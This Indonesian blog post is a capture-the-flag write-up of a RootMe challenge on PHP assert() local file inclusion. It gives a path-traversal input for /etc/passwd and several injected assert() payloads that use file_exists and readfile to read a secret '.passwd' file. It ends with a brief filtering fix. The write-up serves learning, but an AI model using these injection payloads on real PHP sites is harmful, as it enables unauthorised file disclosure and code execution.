Friday, January 4, 2019

[RootMe] PHP assert() - LFI

disoal ini diberikan sebuah link web dimana saya harus menemukan sebuah vuln, kalau dilihat dari judulnya sudah pasti vuln pada fungsi assert(), lalu saya mencari referensi tentang function assert().cara kerja dari assert() ada memberikan nilai true jika condisi false.

pertama saya buka link yang sudah diberikan dan menemukan 3 menu, saya pilih salah satu, lalu saya coba inject dengan:
page=../../../../../etc/passwd
ternyata muncul pesan error:
 Warning: assert(): Assertion "strpos('includes/../../../../../etc/passwd.php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!
dibagian itu bisa kita manfaatkan untuk melakukan exploit, jika ditulis kodenya kemungkinan seperti ini
assert("strpos('includes/$_GET['page'].php','..') === false")
jadi saya akan membuat query untuk exploit:
assert("strpos('includes/','..') === false AND file_exists('.passwd') == false AND strpos('dekguh.php','..') === false")
query diatas saya buat untuk mengecek apakah file passwd ada paa tidak dan hasilnya ternyata ada dengan muncul pesan yang artinya file_exists('.passwd') nilai adlaah true muncul pesan seperti dibawah ini:
Warning: assert(): Assertion "strpos('includes/','..') === false AND file_exists('.passwd') == false AND strpos('dekguh.php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!
selanjutnya membuka file passwd dengan query seperti dibawah:
assert("strpos('includes/','..') === false AND fopen('.passwd','r') AND print readfile('.passwd') AND strpos('dekguh.php','..') === false")
setelah itu maka flag akan muncul :D

NB: hal seperti ini bisa terjadi karena kurangnya security dalam filter, bisa menggunakan preg_match untuk filter

referensi:
http://php.net/manual/en/function.fopen.php
http://php.net/manual/en/function.file-exists.php
https://www.linkedin.com/pulse/php-assert-vulnerable-local-file-inclusion-mohamed-fakroud/

No comments:

Post a Comment